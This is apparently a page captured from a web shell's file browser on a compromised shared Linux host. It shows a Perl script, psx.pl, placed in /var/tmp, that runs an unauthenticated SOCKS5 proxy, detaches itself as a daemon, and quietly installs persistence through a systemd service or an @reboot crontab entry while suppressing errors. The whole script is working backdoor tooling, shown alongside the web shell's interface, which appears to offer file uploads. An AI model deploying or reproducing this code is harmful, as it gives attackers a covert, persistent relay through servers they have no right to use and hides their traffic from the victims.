HEX
Server: Apache
System: Linux pdx1-shared-a1-31 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64
User: dh_5jabqq (6436002)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: //var/tmp/psx.pl
#!/usr/bin/env perl
use strict;
use warnings;
use Socket;
use POSIX qw(setsid);
use IO::Select;
use File::Basename;
use Cwd 'abs_path';

my $LISTEN_PORT = 20451;

my $daemonize = 0;

my $LOG_FH;

sub add_to_autostart {
    my ($script_path) = @_;

    log_message("Attempting to add to autostart (ignoring errors)...");

    my $abs_script_path = eval { abs_path($script_path) };
    if (!$abs_script_path) {
        log_message("Warning: cannot resolve abs path of $script_path, using as is");
        $abs_script_path = $script_path;
    }

    my $have_systemd = 0;
    if (-d "/etc/systemd/system" and -w "/etc/systemd/system") {
        $have_systemd = 1;
    }

    if ($have_systemd) {
        system("mkdir -p /etc/systemd/system 2>/dev/null || true");
        system("touch /etc/systemd/system/perl_socks5.service 2>/dev/null || true");
        system("chmod 644 /etc/systemd/system/perl_socks5.service 2>/dev/null || true");

        my $unit = <<EOF;
[Unit]
Description=Perl SOCKS5 proxy

[Service]
Type=simple
ExecStart=$abs_script_path -d
Restart=always

[Install]
WantedBy=multi-user.target
EOF

        if (open my $fh, '>', '/etc/systemd/system/perl_socks5.service') {
            print $fh $unit;
            close $fh;
        }

        system("systemctl daemon-reload 2>/dev/null || true");
        system("systemctl enable perl_socks5.service 2>/dev/null || true");

        system("update-rc.d perl_socks5 defaults 2>/dev/null || true");
        system("chkconfig --add perl_socks5 2>/dev/null || true");
    } else {
        log_message("No root privileges for system-wide autostart. Trying user-level methods...");

        my $cron_cmd = qq{( (crontab -l 2>/dev/null || echo "") | grep -v '$abs_script_path'; echo '\@reboot $abs_script_path -d' ) | crontab - 2>/dev/null || true};
        system($cron_cmd);
    }

    log_message("Autostart attempt done.");
}

sub log_message {
    my ($msg) = @_;
    my $time_str = localtime();
    if ($!) {
        print $LOG_FH "[$time_str] ERROR: $msg - $!\n";
        $! = 0;
    } else {
        print $LOG_FH "[$time_str] INFO: $msg\n";
    }
    if ($LOG_FH) {
        select($LOG_FH);
        $|=1; 
        select(STDOUT);
    }
}

sub daemonize_me {
    my $pid = fork();
    if (!defined $pid) {
        die "Can't fork: $!";
    }
    if ($pid) {
        exit 0;
    }

    setsid();

    $pid = fork();
    if (!defined $pid) {
        die "Can't fork again: $!";
    }
    if ($pid) {
        exit 0;
    }

    umask 0;
    chdir '/';

    close(STDIN);
    close(STDOUT);
    close(STDERR);
}

sub handle_client {
    my $client_sock = shift;

    my $hdr;
    if (sysread($client_sock, $hdr, 2) != 2) {
        return;
    }
    my ($ver, $nmethods) = unpack("CC", $hdr);
    if ($ver != 5) {
        return;
    }
    my $methods_data;
    if (sysread($client_sock, $methods_data, $nmethods) != $nmethods) {
        return;
    }
    my $supports_noauth = 0;
    for my $m (unpack("C$nmethods", $methods_data)) {
        if ($m == 0) {
            $supports_noauth = 1;
            last;
        }
    }
    if (!$supports_noauth) {
        syswrite($client_sock, pack("CC", 5, 0xFF));
        return;
    }
    syswrite($client_sock, pack("CC", 5, 0));

    if (sysread($client_sock, $hdr, 4) != 4) {
        return;
    }
    my ($ver2, $cmd, $rsv, $atyp) = unpack("CCCC", $hdr);
    if ($ver2 != 5 or $cmd != 1) {
        my $fail = pack("CCCC", 5, 5, 0, 1).pack("Nn", 0, 0);
        syswrite($client_sock, $fail);
        return;
    }

    my $addr;
    if ($atyp == 1) {
        if (sysread($client_sock, $addr, 4) != 4) { return; }
    } elsif ($atyp == 3) {
        my $dom_len_buf;
        if (sysread($client_sock, $dom_len_buf, 1) != 1) { return; }
        my $dom_len = unpack("C", $dom_len_buf);
        if (sysread($client_sock, $addr, $dom_len) != $dom_len) { return; }
    } elsif ($atyp == 4) {
        if (sysread($client_sock, $addr, 16) != 16) { return; }
    } else {
        my $fail = pack("CCCC", 5, 5, 0, 1).pack("Nn", 0, 0);
        syswrite($client_sock, $fail);
        return;
    }

    my $port_buf;
    if (sysread($client_sock, $port_buf, 2) != 2) {
        return;
    }
    my $port = unpack("n", $port_buf);

    my ($remote_sock, $remote_addr) = connect_remote($atyp, $addr, $port);
    if (!defined $remote_sock) {
        my $fail = pack("CCCC", 5, 5, 0, 1).pack("Nn", 0, 0);
        syswrite($client_sock, $fail);
        return;
    }

    my $rep = pack("CCCC", 5, 0, 0, 1).pack("Nn", 0, 0);
    syswrite($client_sock, $rep);

    relay($client_sock, $remote_sock);

    close($remote_sock);
    close($client_sock);
}

sub connect_remote {
    my ($atyp, $addr, $port) = @_;

    my $ip_str;
    if ($atyp == 1) {
        my @oct = unpack("C4", $addr);
        $ip_str = join('.', @oct);
    } elsif ($atyp == 3) {
        $ip_str = $addr; 
    } elsif ($atyp == 4) {
        if ($] < 5.014) {
            return;
        } else {
            require Socket;
            Socket->import(qw(AF_INET6 SOCK_STREAM pack_sockaddr_in6));
            my $packed = $addr;
            return; 
        }
    } else {
        return;
    }

    my $target_packed;
    if ($ip_str =~ /^\d{1,3}(\.\d{1,3}){3}$/) {
        my $dest_iaddr = inet_aton($ip_str);
        return unless $dest_iaddr;
        $target_packed = sockaddr_in($port, $dest_iaddr);
    } else {
        my $dest_iaddr = inet_aton($ip_str);
        unless ($dest_iaddr) {
            return;
        }
        $target_packed = sockaddr_in($port, $dest_iaddr);
    }

    socket(my $sock, AF_INET, SOCK_STREAM, 0) or return;
    if (!connect($sock, $target_packed)) {
        return;
    }
    return ($sock, $target_packed);
}

sub relay {
    my ($sock1, $sock2) = @_;

    my $sel = IO::Select->new();
    $sel->add($sock1);
    $sel->add($sock2);

    while(1) {
        my @ready = $sel->can_read();
        last unless @ready;
        foreach my $s (@ready) {
            my $buf;
            my $r = sysread($s, $buf, 65536);
            if (!defined $r || $r == 0) {
                return;
            }
            my $other = ($s == $sock1) ? $sock2 : $sock1;
            my $written = syswrite($other, $buf);
            if (!defined $written) {
                return;
            }
        }
    }
}

sub main {
    for (my $i=0; $i<@ARGV; $i++) {
        if ($ARGV[$i] eq '-n') {
            $i++;
            $LISTEN_PORT = $ARGV[$i] if defined $ARGV[$i];
        } elsif ($ARGV[$i] eq '-d') {
            $daemonize = 1;
        } elsif ($ARGV[$i] eq '-h') {
            print "Usage: $0 [-n port] [-d]\n";
            exit 0;
        }
    }

    $LOG_FH = *STDOUT;

    if ($daemonize) {
        daemonize_me();
    }

    add_to_autostart($0);

    log_message("Starting Perl SOCKS5 proxy on port $LISTEN_PORT...");

    socket(my $listen_sock, AF_INET, SOCK_STREAM, 0) or die "socket: $!";
    setsockopt($listen_sock, SOL_SOCKET, SO_REUSEADDR, pack("l",1));
    my $local_addr = sockaddr_in($LISTEN_PORT, INADDR_ANY);
    bind($listen_sock, $local_addr) or die "bind: $!";
    listen($listen_sock, 20) or die "listen: $!";

    while(1) {
        my $client_addr = accept(my $client_sock, $listen_sock);
        if (!$client_addr) {
            next;
        }
        my $pid = fork();
        if (!defined $pid) {
            handle_client($client_sock);
            close($client_sock);
        } elsif ($pid == 0) {
            close($listen_sock);
            handle_client($client_sock);
            close($client_sock);
            exit 0;
        } else {
            close($client_sock);
        }
    }
}

main();